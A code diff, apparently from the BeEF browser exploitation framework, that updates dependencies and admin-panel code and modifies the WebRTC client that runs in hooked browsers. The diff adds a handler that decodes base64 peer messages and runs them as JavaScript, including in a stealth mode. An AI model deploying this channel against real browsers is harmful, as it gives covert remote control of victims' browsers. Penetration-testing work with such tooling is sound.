diff --git a/.ruby-version b/.ruby-version index cd57a8b95..585940699 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.5 +2.2.3 diff --git a/Gemfile.lock b/Gemfile.lock index 55f21821e..ac8dda310 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,9 +3,27 @@ GEM specs: addressable (2.3.6) ansi (1.4.3) + atk (3.0.7) + glib2 (= 3.0.7) + bundler-audit (0.4.0) + bundler (~> 1.2) + thor (~> 0.18) + cairo (1.14.3) + pkg-config (>= 1.1.5) + capybara (2.5.0) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + xpath (~> 2.0) + childprocess (0.5.8) + ffi (~> 1.0, >= 1.0.11) + chunky_png (1.3.5) + curb (0.8.8) daemons (1.1.9) data_objects (0.10.14) addressable (~> 2.1) + diff-lcs (1.2.5) dm-core (1.2.1) addressable (~> 2.3) dm-do-adapter (1.2.0) @@ -13,77 +31,183 @@ GEM dm-core (~> 1.2.0) dm-migrations (1.2.0) dm-core (~> 1.2.0) + dm-serializer (1.2.2) + dm-core (~> 1.2.0) + fastercsv (~> 1.5) + json (~> 1.6) + json_pure (~> 1.6) + multi_json (~> 1.0) dm-sqlite-adapter (1.2.0) dm-do-adapter (~> 1.2.0) do_sqlite3 (~> 0.10.6) do_sqlite3 (0.10.14) data_objects (= 0.10.14) + domain_name (0.5.25) + unf (>= 0.0.5, < 1.0.0) em-websocket (0.3.8) addressable (>= 2.1.1) eventmachine (>= 0.12.9) erubis (2.7.0) eventmachine (1.0.7) execjs (2.0.2) + fastercsv (1.5.5) + ffi (1.9.10) + gdk_pixbuf2 (3.0.7) + glib2 (= 3.0.7) geoip (1.4.0) + glib2 (3.0.7) + pkg-config + gtk2 (3.0.7) + atk (= 3.0.7) + gdk_pixbuf2 (= 3.0.7) + pango (= 3.0.7) + hoe (3.14.2) + rake (>= 0.8, < 11.0) + http-cookie (1.0.2) + domain_name (~> 0.5) + jar_wrapper (0.1.8) + zip json (1.8.1) + json_pure (1.8.3) librex (0.0.68) - libv8 (3.11.8.17) + mime-types (2.99) + mini_portile (0.6.2) + mojo_magick (0.5.6) msfrpc-client (1.0.1) librex (>= 0.0.32) msgpack (>= 0.4.5) msgpack (0.5.8) multi_json (1.9.3) + netrc (0.11.0) + nokogiri (1.6.6.4) + mini_portile (~> 0.6.0) + pango (3.0.7) + cairo (>= 1.14.0) + glib2 (= 3.0.7) parseconfig (1.0.4) + pkg-config (1.1.6) + power_assert (0.2.6) + qr4r (0.4.0) + mojo_magick + rqrcode rack (1.5.2) rack-protection (1.5.3) rack + rack-test (0.6.3) + rack (>= 1.0) rainbow (2.0.0) - ref (1.0.5) + rake (10.4.2) + rest-client (1.8.0) + http-cookie (>= 1.0.2, < 2.0) + mime-types (>= 1.16, < 3.0) + netrc (~> 0.7) rexec (1.6.3) rainbow + rqrcode (0.7.0) + chunky_png + rr (1.1.2) + rspec (3.4.0) + rspec-core (~> 3.4.0) + rspec-expectations (~> 3.4.0) + rspec-mocks (~> 3.4.0) + rspec-core (3.4.1) + rspec-support (~> 3.4.0) + rspec-expectations (3.4.0) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.4.0) + rspec-mocks (3.4.0) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.4.0) + rspec-support (3.4.1) rubydns (0.7.0) eventmachine (~> 1.0.0) rexec (~> 1.6.2) rubyzip (1.1.3) + selenium (0.2.11) + jar_wrapper + selenium-webdriver (2.48.1) + childprocess (~> 0.5) + multi_json (~> 1.0) + rubyzip (~> 1.0) + websocket (~> 1.0) sinatra (1.4.2) rack (~> 1.5, >= 1.5.2) rack-protection (~> 1.4) tilt (~> 1.3, >= 1.3.4) term-ansicolor (1.1.5) - therubyracer (0.11.3) - libv8 (~> 3.11.8.12) - ref + test-unit (3.1.5) + power_assert + test-unit-full (0.0.3) + test-unit + test-unit-notify + test-unit-rr + test-unit-runner-fox + test-unit-runner-gtk2 + test-unit-runner-tk + test-unit-notify (1.0.4) + test-unit (>= 2.4.9) + test-unit-rr (1.0.3) + rr (>= 1.1.1) + test-unit (>= 2.5.2) + test-unit-runner-fox (0.0.1) + hoe (>= 1.6.0) + test-unit-runner-gtk2 (0.0.2) + gtk2 + test-unit + test-unit-runner-tk (0.0.1) + hoe (>= 1.6.0) thin (1.6.2) daemons (>= 1.0.9) eventmachine (>= 1.0.0) rack (>= 1.0.0) + thor (0.19.1) tilt (1.4.1) uglifier (2.2.1) execjs (>= 0.3.0) multi_json (~> 1.0, >= 1.0.2) + unf (0.1.4) + unf_ext + unf_ext (0.0.7.1) + websocket (1.2.2) + xpath (2.0.0) + nokogiri (~> 1.3) + zip (2.0.2) PLATFORMS ruby DEPENDENCIES ansi + bundler-audit + capybara + curb data_objects dm-core dm-migrations + dm-serializer dm-sqlite-adapter em-websocket (~> 0.3.6) erubis - eventmachine (= 1.0.3) - execjs + eventmachine geoip json + mime-types msfrpc-client parseconfig - rack (= 1.5.2) + qr4r + rack + rest-client (~> 1.8.0) + rspec rubydns (= 0.7.0) rubyzip (>= 1.0.0) - sinatra (= 1.4.2) + selenium + selenium-webdriver + sinatra term-ansicolor - therubyracer (= 0.11.3) + test-unit + test-unit-full thin uglifier (~> 2.2.1) + +BUNDLED WITH + 1.10.6 diff --git a/core/main/client/webrtc.js b/core/main/client/webrtc.js index db756cdaf..490f4f7a7 100644 --- a/core/main/client/webrtc.js +++ b/core/main/client/webrtc.js @@ -98,32 +98,27 @@ Beefwebrtc.prototype.forceTurn = function(jason) { if (iceServers !== null) { this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers); } - if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");} + beef.debug("Got TURN servers, will try and maybestart again.."); this.turnDone = true; this.maybeStart(); } // Try and establish the RTC connection Beefwebrtc.prototype.createPeerConnection = function() { - if (this.verbose) { - beef.debug('Creating RTCPeerConnnection with the following options:\n' + - ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + - ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); - } + beef.debug('Creating RTCPeerConnnection with the following options:\n' + + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); try { // Create an RTCPeerConnection via the polyfill (webrtcadapter.js). globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints); globalrtc[this.peerid].onicecandidate = this.onIceCandidate; - if (this.verbose) { - beef.debug('Created RTCPeerConnnection with the following options:\n' + - ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + - ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); - } + beef.debug('Created RTCPeerConnnection with the following options:\n' + + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); + } catch (e) { - if (this.verbose) { - beef.debug('Failed to create PeerConnection, exception: '); - beef.debug(e); - } + beef.debug('Failed to create PeerConnection, exception: '); + beef.debug(e); return; } @@ -144,10 +139,8 @@ Beefwebrtc.prototype.onIceCandidate = function(event) { } } - if (beefrtcs[peerid].verbose) { - beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:"); - beef.debug(event); - } + beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:"); + beef.debug(event); if (event.candidate) { // Send the candidate to the peer via the BeEF signalling channel @@ -158,7 +151,7 @@ Beefwebrtc.prototype.onIceCandidate = function(event) { // Note this ICE candidate locally beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate)); } else { - if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');} + beef.debug('End of candidates.'); } } @@ -166,26 +159,24 @@ Beefwebrtc.prototype.onIceCandidate = function(event) { // This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage // against the message directly Beefwebrtc.prototype.processMessage = function(message) { - if (this.verbose) { - beef.debug('Signalling Message - S->C: ' + JSON.stringify(message)); - } + beef.debug('Signalling Message - S->C: ' + JSON.stringify(message)); var msg = JSON.parse(message); if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer - if (this.verbose) {beef.debug('processing the message, as a receiver');} + beef.debug('processing the message, as a receiver'); if (msg.type === 'offer') { // This IS an SDP Offer - if (this.verbose) {beef.debug('.. and the message is an offer .. ');} + beef.debug('.. and the message is an offer .. '); this.msgQueue.unshift(msg); // put it on the top of the msgqueue this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue - if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');} + beef.debug(' .. the message is NOT an offer .. '); this.msgQueue.push(msg); } } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer - if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');} + beef.debug('processing the message, as the sender, no answers yet'); if (msg.type === 'answer') { // This IS an SDP Answer - if (this.verbose) {beef.debug('.. and we have an answer ..');} + beef.debug('.. and we have an answer ..'); this.processSignalingMessage(msg); // Process the message directly this.gotanswer = true; // We have now received an answer //process all other queued message... @@ -193,11 +184,11 @@ Beefwebrtc.prototype.processMessage = function(message) { this.processSignalingMessage(this.msgQueue.shift()); } } else { // This is NOT an SDP Answer - as the caller, just add it to the queue - if (this.verbose) {beef.debug('.. not an answer ..');} + beef.debug('.. not an answer ..'); this.msgQueue.push(msg); } } else { // For all other messages just drop them in the queue - if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');} + beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up'); this.processSignalingMessage(msg); } } @@ -205,7 +196,7 @@ Beefwebrtc.prototype.processMessage = function(message) { // Send a signalling message .. Beefwebrtc.prototype.sendSignalMsg = function(message) { var msgString = JSON.stringify(message); - if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);} + beef.debug('Signalling Message - C->S: ' + msgString); beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString}); } @@ -219,15 +210,7 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) { // When the signalling state changes. We don't actually do anything with this except log it. Beefwebrtc.prototype.onSignalingStateChanged = function(event) { - var localverbose = false; - - for (var k in beefrtcs) { - if (beefrtcs[k].verbose === true) { - localverbose = true; - } - } - - if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);} + beef.debug("Signalling has changed to: " + event.target.signalingState); } // When the ICE Connection State changes - this is useful to determine connection statuses with peers. @@ -240,7 +223,7 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { } } - if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);} + beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState); // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for // better candidates or connections @@ -283,7 +266,7 @@ Beefwebrtc.prototype.goStealth = function() { beef.updater.lock = true; this.sendPeerMsg('Going into stealth mode'); - setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); + setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } // This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it @@ -294,11 +277,11 @@ rtcpollPeer = function() { return; } - if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');} + beef.debug('lub dub'); beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth - setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); + setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } // When a data channel has been established - within here is the message handling function as well @@ -310,12 +293,12 @@ Beefwebrtc.prototype.onDataChannel = function(event) { } } - if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");} + beef.debug("Peer: " + peerid + " has just handled the onDataChannel event"); rtcrecvchan[peerid] = event.channel; // This is the onmessage event handling within the datachannel rtcrecvchan[peerid].onmessage = function(ev2) { - if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);} + beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data); // We've received the command to go into stealth mode if (ev2.data == "!gostealth") { @@ -335,22 +318,34 @@ Beefwebrtc.prototype.onDataChannel = function(event) { // Command to perform arbitrary JS (while stealthed) } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) { - if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');} + beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode'); beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1))); // Command to perform arbitrary JS (while NOT stealthed) } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) { - if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));} + beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1)); beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1))); + // B64d command from the /cmdexec API + } else if (ev2.data.charAt(0) == "@") { + beef.debug('message was a b64d command'); + + var fn = new Function(atob(ev2.data.substring(1))); + fn(); + if (rtcstealth != false) { // force stealth back on ? + beef.updater.execute_commands(); // FORCE execution while stealthed + beef.updater.lock = true; + } + + // Just a plain text message .. (while stealthed) } else if (rtcstealth != false) { - if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');} + beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']'); beefrtcs[rtcstealth].sendPeerMsg(ev2.data); // Just a plan text message (while NOT stealthed) } else { - if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');} + beef.debug('received a message from peer['+peerid+'] - sending it back to beef'); beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data}); } } @@ -365,30 +360,30 @@ Beefwebrtc.prototype.execCmd = function(input) { // Shortcut function to SEND a data messsage Beefwebrtc.prototype.sendPeerMsg = function(msg) { - if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);} + beef.debug('sendPeerMsg to ' + this.peerid); this.dataChannel.send(msg); } // Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready Beefwebrtc.prototype.maybeStart = function() { - if (this.verbose) {beef.debug("maybe starting ... ");} + beef.debug("maybe starting ... "); if (!this.started && this.signalingReady && this.turnDone) { - if (this.verbose) {beef.debug('Creating PeerConnection.');} + beef.debug('Creating PeerConnection.'); this.createPeerConnection(); this.started = true; if (this.initiator) { - if (this.verbose) {beef.debug("Making the call now .. bzz bzz");} + beef.debug("Making the call now .. bzz bzz"); this.doCall(); } else { - if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");} + beef.debug("Receiving a call now .. somebuddy answer da fone?"); this.calleeStart(); } } else { - if (this.verbose) {beef.debug("Not ready to start just yet..");} + beef.debug("Not ready to start just yet.."); } } @@ -397,8 +392,8 @@ Beefwebrtc.prototype.doCall = function() { var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints); var self = this; globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints); - if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' + - ' \'' + JSON.stringify(constraints) + '\'.');} + beef.debug('Sending offer to peer, with constraints: \n' + + ' \'' + JSON.stringify(constraints) + '\'.'); } // Helper method to merge SDP constraints @@ -426,42 +421,28 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { peerid = beefrtcs[k].peerid; } } - if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");} + beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage..."); globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError); beefrtcs[peerid].sendSignalMsg(sessionDescription); function onSetSessionDescriptionSuccess() { - if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');} + beef.debug('Set session description success.'); } function onSetSessionDescriptionError() { - if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');} + beef.debug('Failed to set session description'); } } // If the browser can't build an SDP Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { - var localverbose = false; - - for (var k in beefrtcs) { - if (beefrtcs[k].verbose === true) { - localverbose = true; - } - } - if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());} + beef.debug('Failed to create session description: ' + error.toString()); } // If the browser successfully sets a remote description Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() { - var localverbose = false; - - for (var k in beefrtcs) { - if (beefrtcs[k].verbose === true) { - localverbose = true; - } - } - if (localverbose === true) {beef.debug('Set remote session description successfully');} + beef.debug('Set remote session description successfully'); } // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() @@ -475,15 +456,15 @@ Beefwebrtc.prototype.calleeStart = function() { // Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers Beefwebrtc.prototype.processSignalingMessage = function(message) { if (!this.started) { - if (this.verbose) {beef.debug('peerConnection has not been created yet!');} + beef.debug('peerConnection has not been created yet!'); return; } if (message.type === 'offer') { - if (this.verbose) {beef.debug("Processing signalling message: OFFER");} + beef.debug("Processing signalling message: OFFER"); if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new // version of FF - which no longer works - if (this.verbose) {beef.debug("Moz shim here");} + beef.debug("Moz shim here"); globalrtc[this.peerid].setRemoteDescription( new RTCSessionDescription(message), function() { @@ -518,9 +499,9 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { this.doAnswer(); } } else if (message.type === 'answer') { - if (this.verbose) {beef.debug("Processing signalling message: ANSWER");} + beef.debug("Processing signalling message: ANSWER"); if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer - if (this.verbose) {beef.debug("Moz shim here");} + beef.debug("Moz shim here"); globalrtc[this.peerid].setRemoteDescription( new RTCSessionDescription(message), function() {}, @@ -531,7 +512,7 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { this.setRemote(message); } } else if (message.type === 'candidate') { - if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");} + beef.debug("Processing signalling message: CANDIDATE"); var candidate = new RTCIceCandidate({sdpMLineIndex: message.label, candidate: message.candidate}); this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate)); @@ -545,15 +526,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { Beefwebrtc.prototype.setRemote = function(message) { globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); - - // function onSetRemoteDescriptionSuccess() { - // if (this.verbose) {beef.debug("Set remote session description success.");} - // } } // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below Beefwebrtc.prototype.doAnswer = function() { - if (this.verbose) {beef.debug('Sending answer to peer.');} + beef.debug('Sending answer to peer.'); globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints); } @@ -570,31 +547,17 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { // Event handler for successful addition of ICE Candidates Beefwebrtc.prototype.onAddIceCandidateSuccess = function() { - var localverbose = false; - - for (var k in beefrtcs) { - if (beefrtcs[k].verbose === true) { - localverbose = true; - } - } - if (localverbose === true) {beef.debug('AddIceCandidate success.');} + beef.debug('AddIceCandidate success.'); } // Event handler for unsuccessful addition of ICE Candidates Beefwebrtc.prototype.onAddIceCandidateError = function(error) { - var localverbose = false; - - for (var k in beefrtcs) { - if (beefrtcs[k].verbose === true) { - localverbose = true; - } - } - if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());} + beef.debug('Failed to add Ice Candidate: ' + error.toString()); } // If a peer hangs up (we bring down the peerconncetion via the stop() method) Beefwebrtc.prototype.onRemoteHangup = function() { - if (this.verbose) {beef.debug('Session terminated.');} + beef.debug('Session terminated.'); this.initiator = 0; // transitionToWaiting(); this.stop(); diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index ee740eaa9..1b80a17c2 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -33,7 +33,7 @@ module API #NOTE: order counts! make sure you know what you're doing if you add files esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js) ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js) - panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js) + panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js) global_js = esapi + ux + panel diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 190adf941..5a1a3399c 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -114,7 +114,8 @@ module BeEF 'has_quicktime' => has_quicktime, 'has_wmp' => has_wmp, 'has_realplayer' => has_realplayer, - 'date_stamp' => date_stamp + 'date_stamp' => date_stamp, + 'hb_id' => hooked_browser.id } end diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 6c7f85b26..887a76e39 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -80,6 +80,12 @@ background-image: url(../images/icons/xssrays.png); } +.zombie-tree-ctxMenu-rtc { + background-image: url(../images/icons/network.png); + background-size: 24px 24px; + background-repeat: no-repeat; +} + .zombie-tree-ctxMenu-delete { background-image: url(../images/icons/delete.png); background-size: 32px 32px; diff --git a/extensions/admin_ui/media/javascript/ui/common/beef_common.js b/extensions/admin_ui/media/javascript/ui/common/beef_common.js index 6c1aebd04..da9927089 100644 --- a/extensions/admin_ui/media/javascript/ui/common/beef_common.js +++ b/extensions/admin_ui/media/javascript/ui/common/beef_common.js @@ -13,6 +13,7 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') { var BeefWUI = { rest_token: "", + hooked_browsers: {}, /** * Retrieve the token needed to call the RESTful API. @@ -37,7 +38,107 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') { }); } return this.rest_token; - } + }, + + /** + * Get hooked browser ID from session + */ + get_hb_id: function(sess){ + var id = ""; + $jwterm.ajax({ + type: 'GET', + url: "/api/hooks/?token=" + this.get_rest_token(), + async: false, + processData: false, + success: function(data){ + for (var k in data['hooked-browsers']['online']) { + if (data['hooked-browsers']['online'][k].session === sess) { + id = data['hooked-browsers']['online'][k].id; + } + } + + if (id === "") { + for (var k in data['hooked-browsers']['offline']) { + if (data['hooked-browsers']['offline'][k].session === sess) { + id = data['hooked-browsers']['offline'][k].id; + } + } + } + }, + error: function(){ + commands_statusbar.update_fail("Error getting hb id"); + } + }); + return id; + }, + + /** + * Get hooked browser info from ID + */ + get_info_from_id: function(id) { + var info = {}; + $jwterm.ajax({ + type: 'GET', + url: "/api/hooks/?token=" + this.get_rest_token(), + async: false, + processData: false, + success: function(data){ + for (var k in data['hooked-browsers']['online']) { + if (data['hooked-browsers']['online'][k].id === id) { + info = data['hooked-browsers']['online'][k]; + } + } + + if ($jwterm.isEmptyObject(info)) { + for (var k in data['hooked-browsers']['offline']) { + if (data['hooked-browsers']['offline'][k].id === id) { + info = data['hooked-browsers']['offline'][k]; + } + } + } + }, + error: function(){ + commands_statusbar.update_fail("Error getting hb ip"); + } + }); + console.log(info); + return info; + + }, + + /** + * Get hooked browser info from ID + */ + get_fullinfo_from_id: function(id) { + var info = {}; + $jwterm.ajax({ + type: 'POST', + url: "<%= @base_path %>/panel/hooked-browser-tree-update.json", + async: false, + processData: false, + success: function(data){ + for (var k in data['hooked-browsers']['online']) { + if (data['hooked-browsers']['online'][k].id === id) { + info = data['hooked-browsers']['online'][k]; + } + } + + if ($jwterm.isEmptyObject(info)) { + for (var k in data['hooked-browsers']['offline']) { + if (data['hooked-browsers']['offline'][k].id === id) { + info = data['hooked-browsers']['offline'][k]; + } + } + } + }, + error: function(){ + commands_statusbar.update_fail("Error getting hb ip"); + } + }); + console.log(info); + return info; + + } }; window.beefwui = BeefWUI; diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js index 22b401d57..09ca4de5b 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js +++ b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js @@ -59,6 +59,7 @@ Ext.TaskMgr.start({ hr.innerHTML = "You appear to be logged out. Login"; } var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null; + beefwui.hooked_browsers = (updates['hooked-browsers']); //? updates['hooked-browsers'] : null; var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null; if(zombiesManager && hooked_browsers) { @@ -80,4 +81,4 @@ Ext.TaskMgr.start({ }, interval: 8000 -}); \ No newline at end of file +}); diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js index 9147e301d..dad55ebdf 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js @@ -13,6 +13,7 @@ ZombieTab = function(zombie) { ipec_tab = new ZombieTab_IpecTab(zombie); autorun_tab = new ZombieTab_Autorun(zombie); network_tab = new ZombieTab_Network(zombie); + rtc_tab = new ZombieTab_Rtc(zombie); ZombieTab.superclass.constructor.call(this, { id:"current-browser", @@ -25,7 +26,7 @@ ZombieTab = function(zombie) { forceFit: true, type: 'fit' }, - items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab], + items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab, rtc_tab], listeners:{ afterrender:function(component){ // Hide auto-run tab diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 2f8bb5eeb..6ee60ce30 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -32,6 +32,7 @@ var ZombiesMgr = function(zombies_tree_lists) { var has_quicktime = zombie_array[index]["has_quicktime"]; var has_realplayer = zombie_array[index]["has_realplayer"]; var date_stamp = zombie_array[index]["date_stamp"]; + var hb_id = zombie_array[index]["hb_id"]; text = " "; text+= " "; @@ -75,6 +76,7 @@ var ZombiesMgr = function(zombies_tree_lists) { this.updateZombies = function(zombies, rules){ var offline_hooked_browsers = zombies["offline"]; var online_hooked_browsers = zombies["online"]; + beefwui.hooked_browsers = zombies["online"]; for(tree_type in this.zombies_tree_lists) { hooked_browsers_tree = this.zombies_tree_lists[tree_type]; diff --git a/extensions/admin_ui/media/javascript/ui/panel/common.js b/extensions/admin_ui/media/javascript/ui/panel/common.js index 3e31f4157..55966f2bb 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/common.js +++ b/extensions/admin_ui/media/javascript/ui/panel/common.js @@ -357,7 +357,13 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi fieldLabel: 'Description', fieldClass: 'command-module-panel-description', value: module.Description - }) + }), + new Ext.form.DisplayField({ + name: 'command_module_id_visible', + fieldLabel: 'Id', + fieldClass: 'command-module-panel-description', + value: command_module_id + }) ], buttons:[{ diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js new file mode 100644 index 000000000..6870cfa5c 